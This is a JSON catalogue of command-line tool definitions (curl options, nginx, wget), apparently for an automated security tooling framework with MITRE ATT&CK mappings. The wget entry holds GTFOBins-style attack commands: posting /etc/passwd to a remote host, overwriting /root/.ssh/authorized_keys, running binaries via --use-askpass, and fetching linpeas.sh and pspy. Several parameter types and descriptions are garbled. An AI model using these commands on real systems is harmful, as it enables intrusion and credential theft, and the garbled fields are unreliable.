        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Do HTTP raw; no transfer decoding",
        "aliases": [
          "--raw"
        ],
        "flag": "--raw"
      },
      {
        "name": "referer",
        "template_key": "referer",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Referrer URL",
        "aliases": [
          "-e",
          "--referer <URL>"
        ],
        "flag": "-e"
      },
      {
        "name": "remote-header-name",
        "template_key": "remote-header-name",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Use the header-provided filename",
        "aliases": [
          "-J",
          "--remote-header-name"
        ],
        "flag": "-J"
      },
      {
        "name": "remote-name",
        "template_key": "remote-name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write output to file named as remote file",
        "aliases": [
          "-O",
          "--remote-name"
        ],
        "flag": "-O"
      },
      {
        "name": "remote-name-all",
        "template_key": "remote-name-all",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Use the remote filename for all URLs",
        "aliases": [
          "--remote-name-all"
        ],
        "flag": "--remote-name-all"
      },
      {
        "name": "remote-time",
        "template_key": "remote-time",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set remote file's time on local output",
        "aliases": [
          "-R",
          "--remote-time"
        ],
        "flag": "-R"
      },
      {
        "name": "remove-on-error",
        "template_key": "remove-on-error",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Remove output file on errors",
        "aliases": [
          "--remove-on-error"
        ],
        "flag": "--remove-on-error"
      },
      {
        "name": "request",
        "template_key": "request",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify request method to use",
        "aliases": [
          "-X",
          "--request <method>"
        ],
        "flag": "-X"
      },
      {
        "name": "request-target",
        "template_key": "request-target",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify the target for this request",
        "aliases": [
          "--request-target <path>"
        ],
        "flag": "--request-target"
      },
      {
        "name": "resolve",
        "template_key": "resolve",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "--retry <num> Retry request if transient problems occur --retry-all-errors Retry all errors (with --retry) --retry-connrefused Retry on connection refused (with --retry) --retry-delay <seconds> Wait time between retries --retry-max-time <seconds> Retry only within this period --sasl-authzid <identity> Identity for SASL PLAIN authentication --sasl-ir Initial response in SASL authentication --service-name <name> SPNEGO service name",
        "aliases": [
          "--resolve <[+]host:port:addr[,addr]...>"
        ],
        "flag": "--resolve"
      },
      {
        "name": "retry",
        "type": "boolean",
        "required": false,
        "description": "Retry request if transient problems occur",
        "aliases": [
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "retry_all_errors",
        "type": "boolean",
        "required": false,
        "description": ")",
        "aliases": [
          "--retry-all-errors",
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "retry_connrefused",
        "type": "boolean",
        "required": false,
        "description": ")",
        "aliases": [
          "--retry-connrefused",
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "retry_delay",
        "type": "boolean",
        "required": false,
        "description": "Wait time between retries",
        "aliases": [
          "--retry-delay"
        ],
        "flag": "--retry-delay"
      },
      {
        "name": "retry_max_time",
        "type": "boolean",
        "required": false,
        "description": "Retry only within this period",
        "aliases": [
          "--retry-max-time"
        ],
        "flag": "--retry-max-time"
      },
      {
        "name": "sasl_authzid",
        "type": "boolean",
        "required": false,
        "description": "Identity for SASL PLAIN authentication",
        "aliases": [
          "--sasl-authzid"
        ],
        "flag": "--sasl-authzid"
      },
      {
        "name": "sasl_ir",
        "type": "boolean",
        "required": false,
        "description": "Initial response in SASL authentication",
        "aliases": [
          "--sasl-ir"
        ],
        "flag": "--sasl-ir"
      },
      {
        "name": "service_name",
        "type": "boolean",
        "required": false,
        "description": "SPNEGO service name",
        "aliases": [
          "--service-name"
        ],
        "flag": "--service-name"
      },
      {
        "name": "show-error",
        "template_key": "show-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show error even when -s is used",
        "aliases": [
          "-S",
          "--show-error"
        ],
        "flag": "-S"
      },
      {
        "name": "show-headers",
        "template_key": "show-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show response headers in output",
        "aliases": [
          "-i",
          "--show-headers"
        ],
        "flag": "-i"
      },
      {
        "name": "sigalgs",
        "template_key": "sigalgs",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "TLS signature algorithms to use",
        "aliases": [
          "--sigalgs <list>"
        ],
        "flag": "--sigalgs"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Silent mode",
        "aliases": [
          "-s",
          "--silent"
        ],
        "flag": "-s"
      },
      {
        "name": "skip-existing",
        "template_key": "skip-existing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Skip download if local file already exists",
        "aliases": [
          "--skip-existing"
        ],
        "flag": "--skip-existing"
      },
      {
        "name": "socks4",
        "template_key": "socks4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SOCKS4 proxy on given host + port",
        "aliases": [
          "--socks4 <host[:port]>"
        ],
        "flag": "--socks4"
      },
      {
        "name": "socks4a",
        "template_key": "socks4a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SOCKS4a proxy on given host + port",
        "aliases": [
          "--socks4a <host[:port]>"
        ],
        "flag": "--socks4a"
      },
      {
        "name": "socks5",
        "template_key": "socks5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SOCKS5 proxy on given host + port",
        "aliases": [
          "--socks5 <host[:port]>"
        ],
        "flag": "--socks5"
      },
      {
        "name": "socks5-basic",
        "template_key": "socks5-basic",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Username/password auth for SOCKS5 proxies",
        "aliases": [
          "--socks5-basic"
        ],
        "flag": "--socks5-basic"
      },
      {
        "name": "socks5-gssapi",
        "template_key": "socks5-gssapi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable GSS-API auth for SOCKS5 proxies",
        "aliases": [
          "--socks5-gssapi"
        ],
        "flag": "--socks5-gssapi"
      },
      {
        "name": "socks5-gssapi-nec",
        "template_key": "socks5-gssapi-nec",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Compatibility with NEC SOCKS5 server",
        "aliases": [
          "--socks5-gssapi-nec"
        ],
        "flag": "--socks5-gssapi-nec"
      },
      {
        "name": "socks5-gssapi-service",
        "template_key": "socks5-gssapi-service",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--socks5-hostname <host[:port]> SOCKS5 proxy, pass hostname to proxy",
        "aliases": [
          "-A",
          "--socks5-gssapi-service <name>"
        ],
        "flag": "-A"
      },
      {
        "name": "socks5_hostname",
        "type": "boolean",
        "required": false,
        "description": "SOCKS5 proxy, pass hostname to proxy",
        "aliases": [
          "--socks5-hostname"
        ],
        "flag": "--socks5-hostname"
      },
      {
        "name": "speed-limit",
        "template_key": "speed-limit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stop transfers slower than this",
        "aliases": [
          "-Y",
          "--speed-limit <speed>"
        ],
        "flag": "-Y"
      },
      {
        "name": "speed-time",
        "template_key": "speed-time",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Trigger 'speed-limit' abort after this time",
        "aliases": [
          "-y",
          "--speed-time <seconds>"
        ],
        "flag": "-y"
      },
      {
        "name": "ssl",
        "template_key": "ssl",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Try enabling TLS",
        "aliases": [
          "--ssl"
        ],
        "flag": "--ssl"
      },
      {
        "name": "ssl-allow-beast",
        "template_key": "ssl-allow-beast",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow security flaw to improve interop",
        "aliases": [
          "--ssl-allow-beast"
        ],
        "flag": "--ssl-allow-beast"
      },
      {
        "name": "ssl-auto-client-cert",
        "template_key": "ssl-auto-client-cert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use auto client certificate (Schannel)",
        "aliases": [
          "--ssl-auto-client-cert"
        ],
        "flag": "--ssl-auto-client-cert"
      },
      {
        "name": "ssl-no-revoke",
        "template_key": "ssl-no-revoke",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable cert revocation checks (Schannel)",
        "aliases": [
          "--ssl-no-revoke"
        ],
        "flag": "--ssl-no-revoke"
      },
      {
        "name": "ssl-reqd",
        "template_key": "ssl-reqd",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Require SSL/TLS",
        "aliases": [
          "--ssl-reqd"
        ],
        "flag": "--ssl-reqd"
      },
      {
        "name": "ssl-revoke-best-effort",
        "template_key": "ssl-revoke-best-effort",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore missing cert CRL dist points",
        "aliases": [
          "--ssl-revoke-best-effort"
        ],
        "flag": "--ssl-revoke-best-effort"
      },
      {
        "name": "ssl-sessions",
        "template_key": "ssl-sessions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--ssl-sessions <filename>"
        ],
        "flag": "--ssl-sessions"
      },
      {
        "name": "sslv2",
        "template_key": "sslv2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SSLv2",
        "aliases": [
          "-2",
          "--sslv2"
        ],
        "flag": "-2"
      },
      {
        "name": "sslv3",
        "template_key": "sslv3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SSLv3",
        "aliases": [
          "-3",
          "--sslv3"
        ],
        "flag": "-3"
      },
      {
        "name": "stderr",
        "template_key": "stderr",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Where to redirect stderr",
        "aliases": [
          "--stderr <file>"
        ],
        "flag": "--stderr"
      },
      {
        "name": "styled-output",
        "template_key": "styled-output",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Enable styled output for HTTP headers",
        "aliases": [
          "--styled-output"
        ],
        "flag": "--styled-output"
      },
      {
        "name": "suppress-connect-headers",
        "template_key": "suppress-connect-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suppress proxy CONNECT response headers",
        "aliases": [
          "--suppress-connect-headers"
        ],
        "flag": "--suppress-connect-headers"
      },
      {
        "name": "tcp-fastopen",
        "template_key": "tcp-fastopen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use TCP Fast Open",
        "aliases": [
          "--tcp-fastopen"
        ],
        "flag": "--tcp-fastopen"
      },
      {
        "name": "tcp-nodelay",
        "template_key": "tcp-nodelay",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set TCP_NODELAY",
        "aliases": [
          "--tcp-nodelay"
        ],
        "flag": "--tcp-nodelay"
      },
      {
        "name": "telnet-option",
        "template_key": "telnet-option",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set telnet option",
        "aliases": [
          "-t",
          "--telnet-option <opt"
        ],
        "flag": "-t"
      },
      {
        "name": "tftp-blksize",
        "template_key": "tftp-blksize",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set TFTP BLKSIZE option",
        "aliases": [
          "--tftp-blksize <value>"
        ],
        "flag": "--tftp-blksize"
      },
      {
        "name": "tftp-no-options",
        "template_key": "tftp-no-options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not send any TFTP options",
        "aliases": [
          "--tftp-no-options"
        ],
        "flag": "--tftp-no-options"
      },
      {
        "name": "time-cond",
        "template_key": "time-cond",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Transfer based on a time condition",
        "aliases": [
          "-z",
          "--time-cond <time>"
        ],
        "flag": "-z"
      },
      {
        "name": "tls-earlydata",
        "template_key": "tls-earlydata",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow use of TLSv1.3 early data (0RTT)",
        "aliases": [
          "--tls-earlydata"
        ],
        "flag": "--tls-earlydata"
      },
      {
        "name": "tls-max",
        "template_key": "tls-max",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Maximum allowed TLS version",
        "aliases": [
          "--tls-max <VERSION>"
        ],
        "flag": "--tls-max"
      },
      {
        "name": "tls13-ciphers",
        "template_key": "tls13-ciphers",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "TLS 1.3 cipher suites to use",
        "aliases": [
          "--tls13-ciphers <list>"
        ],
        "flag": "--tls13-ciphers"
      },
      {
        "name": "tlsauthtype",
        "template_key": "tlsauthtype",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLS authentication type",
        "aliases": [
          "--tlsauthtype <type>"
        ],
        "flag": "--tlsauthtype"
      },
      {
        "name": "tlspassword",
        "template_key": "tlspassword",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLS password",
        "aliases": [
          "--tlspassword <string>"
        ],
        "flag": "--tlspassword"
      },
      {
        "name": "tlsuser",
        "template_key": "tlsuser",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLS username",
        "aliases": [
          "--tlsuser <name>"
        ],
        "flag": "--tlsuser"
      },
      {
        "name": "tlsv1",
        "template_key": "tlsv1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.0 or greater",
        "aliases": [
          "-1",
          "--tlsv1"
        ],
        "flag": "-1"
      },
      {
        "name": "tlsv1-2",
        "template_key": "tlsv1-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.0 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tlsv1-3",
        "template_key": "tlsv1-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.1 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tlsv1-4",
        "template_key": "tlsv1-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.2 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tlsv1-5",
        "template_key": "tlsv1-5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.3 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tr-encoding",
        "template_key": "tr-encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Request compressed transfer encoding",
        "aliases": [
          "--tr-encoding"
        ],
        "flag": "--tr-encoding"
      },
      {
        "name": "trace",
        "template_key": "trace",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write a debug trace to FILE",
        "aliases": [
          "--trace <file>"
        ],
        "flag": "--trace"
      },
      {
        "name": "trace-ascii",
        "template_key": "trace-ascii",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Like --trace, but without hex output",
        "aliases": [
          "--trace-ascii <file>"
        ],
        "flag": "--trace-ascii"
      },
      {
        "name": "trace-config",
        "template_key": "trace-config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Details to log in trace/verbose output",
        "aliases": [
          "--trace-config <string>"
        ],
        "flag": "--trace-config"
      },
      {
        "name": "trace-ids",
        "template_key": "trace-ids",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Transfer + connection ids in verbose output",
        "aliases": [
          "--trace-ids"
        ],
        "flag": "--trace-ids"
      },
      {
        "name": "trace-time",
        "template_key": "trace-time",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Add time stamps to trace/verbose output",
        "aliases": [
          "--trace-time"
        ],
        "flag": "--trace-time"
      },
      {
        "name": "unix-socket",
        "template_key": "unix-socket",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Connect through this Unix domain socket",
        "aliases": [
          "--unix-socket <path>"
        ],
        "flag": "--unix-socket"
      },
      {
        "name": "upload-file",
        "template_key": "upload-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Transfer local FILE to destination",
        "aliases": [
          "-T",
          "--upload-file <file>"
        ],
        "flag": "-T"
      },
      {
        "name": "upload-flags",
        "template_key": "upload-flags",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IMAP upload behavior",
        "aliases": [
          "--upload-flags <flags>"
        ],
        "flag": "--upload-flags"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "URL(s) to work with",
        "aliases": [
          "--url <url/file>"
        ],
        "flag": "--url"
      },
      {
        "name": "url-query",
        "template_key": "url-query",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Add a URL query part",
        "aliases": [
          "--url-query <data>"
        ],
        "flag": "--url-query"
      },
      {
        "name": "use-ascii",
        "template_key": "use-ascii",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use ASCII/text transfer",
        "aliases": [
          "-B",
          "--use-ascii"
        ],
        "flag": "-B"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Server user and password",
        "aliases": [
          "-u",
          "--user <user:password>"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send User-Agent <name> to server",
        "aliases": [
          "-A",
          "--user-agent <name>"
        ],
        "flag": "-A"
      },
      {
        "name": "variable",
        "template_key": "variable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--variable <[%]name"
        ],
        "flag": "--variable"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Make the operation more talkative",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show version number and quit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "vlan-priority",
        "template_key": "vlan-priority",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set VLAN priority",
        "aliases": [
          "--vlan-priority <priority>"
        ],
        "flag": "--vlan-priority"
      },
      {
        "name": "write-out",
        "template_key": "write-out",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output FORMAT after completion",
        "aliases": [
          "-w",
          "--write-out <format>"
        ],
        "flag": "-w"
      },
      {
        "name": "xattr",
        "template_key": "xattr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Store metadata in extended file attributes",
        "aliases": [
          "--xattr"
        ],
        "flag": "--xattr"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Official curl documentation",
        "url": "https://curl.se/docs/manpage.html"
      },
      {
        "label": "Everything curl book",
        "url": "https://everything.curl.dev/"
      }
    ],
    "related_tools": [
      "jq",
      "httpie",
      "wget",
      "network-http-wget"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "command-and-control",
      "discovery",
      "enumeration",
      "collection",
      "data-manipulation",
      "exfiltration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "http-response",
        "downloaded-file"
      ],
      "consumes": [
        "url",
        "request-headers"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "nginx.md",
    "allowed-tools": [
      "nginx",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Web server, can read files and execute commands via modules.",
    "examples": [
      {
        "description": "Read a file via nginx",
        "command": "nginx -c /path/to/file"
      },
      {
        "description": "Execute command via nginx",
        "command": "nginx -c /path/to/config"
      }
    ],
    "execution": {
      "template": "nginx -c /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-http-nginx",
    "install": [
      {
        "method": "apt",
        "package_name": "nginx",
        "commands": [
          "apt-get install -y nginx"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1046",
      "T1048",
      "T1074",
      "T1114",
      "T1190",
      "T1595"
    ],
    "name": "nginx",
    "namespace": "network:http:nginx",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nginx/"
      }
    ],
    "related_tools": [
      "apache2"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Wget — Non-Interactive Download Utility\n\nWget is a free utility for non-interactive download of files from the web. It supports HTTP, HTTPS, and FTP protocols, and is particularly suited for reliable downloading in scripts and automated workflows.\n\n## Key Features\n\n| Feature | Description |\n|---------|-------------|\n| **Resume** | Continue interrupted downloads with `-c` |\n| **Recursive** | Follow links recursively with `-r` |\n| **Mirror** | Download entire websites for offline viewing |\n| **Robust** | Retry on failure, adaptive bandwidth, timestamping |\n\n## Recursive Download\n\n```bash\n# Download a directory structure\nwget -r -np -nH --cut-dirs=1 https://example.com/files/\n\n# Download with file type filtering\nwget -r -A.pdf https://example.com/documents/\n\n# Avoid downloading specific types\nwget -r -R.jpg,.png,.gif https://example.com/\n```\n\n## Rate Limiting\n\n```bash\n# Limit download speed\nwget --limit-rate=200k https://example.com/largefile.iso\n\n# Set retry and wait intervals\nwget --tries=10 --wait=5 https://example.com/\n```\n\n## Authentication\n\n```bash\n# HTTP Basic Auth\nwget --user=username --password=password https://example.com/private/\n\n# Using .netrc file\necho \"machine example.com login user password pass\" > ~/.netrc\nwget https://example.com/private/\n```\n\n## Related Tools\n\n- **[curl](../http/curl.md)** — More protocol support, stdout-oriented\n- **[axel](../../transfer/axel.md)** — Accelerated download with multiple connections\n- **[aria2c](../../transfer/aria2c.md)** — Multi-protocol, multi-connection downloader\n- **[httrack](../../mirror/httrack.md)** — Full website mirroring tool\n",
    "_source": "wget.md",
    "allowed-tools": [
      "wget",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.transfer.file",
        "description": "File downloaded from a remote server",
        "trust_level": "community"
      },
      {
        "type": "network.http.response",
        "description": "HTTP response data",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.transfer.download",
      "network.mirror.site",
      "network.transfer.recursive",
      "network.transfer.resume",
      "network.http.fetch",
      "network.transfer.upload",
      "security.execution.command",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "URL to download"
        }
      ],
      "outputs": [
        {
          "type": "network.transfer.file",
          "description": "Downloaded file written to disk"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Non-interactive download utility supporting HTTP, HTTPS, and FTP protocols with recursive download and resume capability.",
    "examples": [
      {
        "description": "Download a single file",
        "command": "wget https://example.com/file.zip"
      },
      {
        "description": "Download with custom filename",
        "command": "wget -O output.zip https://example.com/file.zip"
      },
      {
        "description": "Resume an interrupted download",
        "command": "wget -c https://example.com/largefile.iso"
      },
      {
        "description": "Recursively download a website",
        "command": "wget -r -l 2 -np https://example.com/docs/"
      },
      {
        "description": "Mirror an entire site",
        "command": "wget -m -k https://docs.example.com/"
      },
      {
        "description": "Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.",
        "command": "wget --use-askpass=/sbin/reboot http://0/\n"
      },
      {
        "description": "Send a local file to a remote server in a POST request. Note that the file will be sent as-is.",
        "command": "wget --post-file=/etc/passwd http://0/\n"
      },
      {
        "description": "Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.",
        "command": "wget --input-file=/etc/passwd http://0/\n"
      },
      {
        "description": "Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.",
        "command": "wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt\n"
      },
      {
        "description": "Downloads a remote file via an HTTP GET request and saves it to a specific location.",
        "command": "wget --output-document=/root/.ssh/authorized_keys http://0/\n"
      },
      {
        "description": "Argument injection: execute arbitrary command: Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.",
        "command": "wget --use-askpass=/sbin/reboot http://0/"
      },
      {
        "description": "Argument injection: upload file: Send a local file to a remote server in a POST request. Note that the file will be sent as-is.",
        "command": "wget --post-file=/etc/passwd http://0/"
      },
      {
        "description": "Argument injection: read local file: Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.",
        "command": "wget --input-file=/etc/passwd http://0/"
      },
      {
        "description": "Argument injection: write to local file: Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.",
        "command": "wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt"
      },
      {
        "description": "Argument injection: download file: Downloads a remote file via an HTTP GET request and saves it to a specific location.",
        "command": "wget --output-document=/root/.ssh/authorized_keys http://0/"
      },
      {
        "description": "NetRunners usefull/shell",
        "command": "wget {{URL}}/pspy"
      },
      {
        "description": "NetRunners usefull/shell",
        "command": "wget {{URL}}/linpeas.sh"
      },
      {
        "description": "Download a file from a given URL and save it in the current directory",
        "command": "wget http://example.com/file.zip"
      },
      {
        "description": "Download a file and save it with a different name",
        "command": "wget -O newname.zip http://example.com/file.zip"
      },
      {
        "description": "Download files in the background",
        "command": "wget -b http://example.com/file.zip"
      },
      {
        "description": "Download a file and limit the download speed to reduce bandwidth usage",
        "command": "wget --limit-rate=200k http://example.com/file.zip"
      },
      {
        "description": "Download files from a list of URLs provided in a text file",
        "command": "wget -i urls.txt"
      },
      {
        "description": "Resume an incomplete download",
        "command": "wget -c http://example.com/file.zip"
      },
      {
        "description": "Download a file while showing the progress in a more readable form",
        "command": "wget --show-progress http://example.com/file.zip"
      },
      {
        "description": "Download a file without checking the server's SSL certificate",
        "command": "wget --no-check-certificate https://example.com/file.zip"
      },
      {
        "description": "Download an entire website for offline browsing",
        "command": "wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://example.com"
      },
      {
        "description": "Download a file with HTTP authentication",
        "command": "wget --user=username --password=password http://example.com/secure-file.zip"
      },
      {
        "description": "Download a file with cookies, useful for sites that require logins",
        "command": "wget --load-cookies cookies.txt http://example.com/file.zip"
      },
      {
        "description": "Download a directory from an FTP server",
        "command": "wget -r ftp://example.com/pub/"
      },
      {
        "description": "Download only files newer than the local version",
        "command": "wget -N http://example.com/file.zip"
      },
      {
        "description": "Download a file only if it has been updated on the server",
        "command": "wget -S --spider http://example.com/file.zip"
      },
      {
        "description": "Quietly download a file, continuing where it left of, if the connection fails. The file will be downloaded to the current working directory.",
        "command": "wget -qc http://example.com/file.zip"
      },
      {
        "description": "Specify a location to download the given file.",
        "command": "wget -qcO [PATH] http://example.com/file.zip"
      },
      {
        "description": "Download URL using the user agent string provided to the `-U` flag.",
        "command": "wget -U 'Mozilla/5.0' http://example.com/file.zip"
      }
    ],
    "execution": {
      "template": "wget {version} {help} {background} {execute} {output-file}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "output-json",
      "network-intensive",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "network-http-wget",
    "install": [
      {
        "method": "apt",
        "package_name": "wget",
        "commands": [
          "apt-get install -y wget"
        ]
      },
      {
        "method": "brew",
        "package_name": "wget",
        "commands": [
          "brew install wget"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1046",
      "T1048",
      "T1074",
      "T1114",
      "T1190",
      "T1595"
    ],
    "name": "wget",
    "namespace": "network:http:wget",
    "parameters": [
      {
        "name": "accept",
        "template_key": "accept",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of accepted extensions",
        "aliases": [
          "-A",
          "--accept"
        ],
        "flag": "-A"
      },
      {
        "name": "accept-regex",
        "template_key": "accept-regex",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "regex matching accepted URLs",
        "aliases": [
          "--accept-regex"
        ],
        "flag": "--accept-regex"
      },
      {
        "name": "adjust-extension",
        "template_key": "adjust-extension",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save HTML/CSS documents with proper extensions",
        "aliases": [
          "-E",
          "--adjust-extension"
        ],
        "flag": "-E"
      },
      {
        "name": "append-output",
        "template_key": "append-output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "append messages to FILE",
        "aliases": [
          "-a",
          "--append-output"
        ],
        "flag": "-a"
      },
      {
        "name": "ask-password",
        "template_key": "ask-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt for passwords",
        "aliases": [
          "--ask-password"
        ],
        "flag": "--ask-password"
      },
      {
        "name": "auth-no-challenge",
        "template_key": "auth-no-challenge",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "send Basic HTTP authentication information",
        "aliases": [
          "--auth-no-challenge"
        ],
        "flag": "--auth-no-challenge"
      },
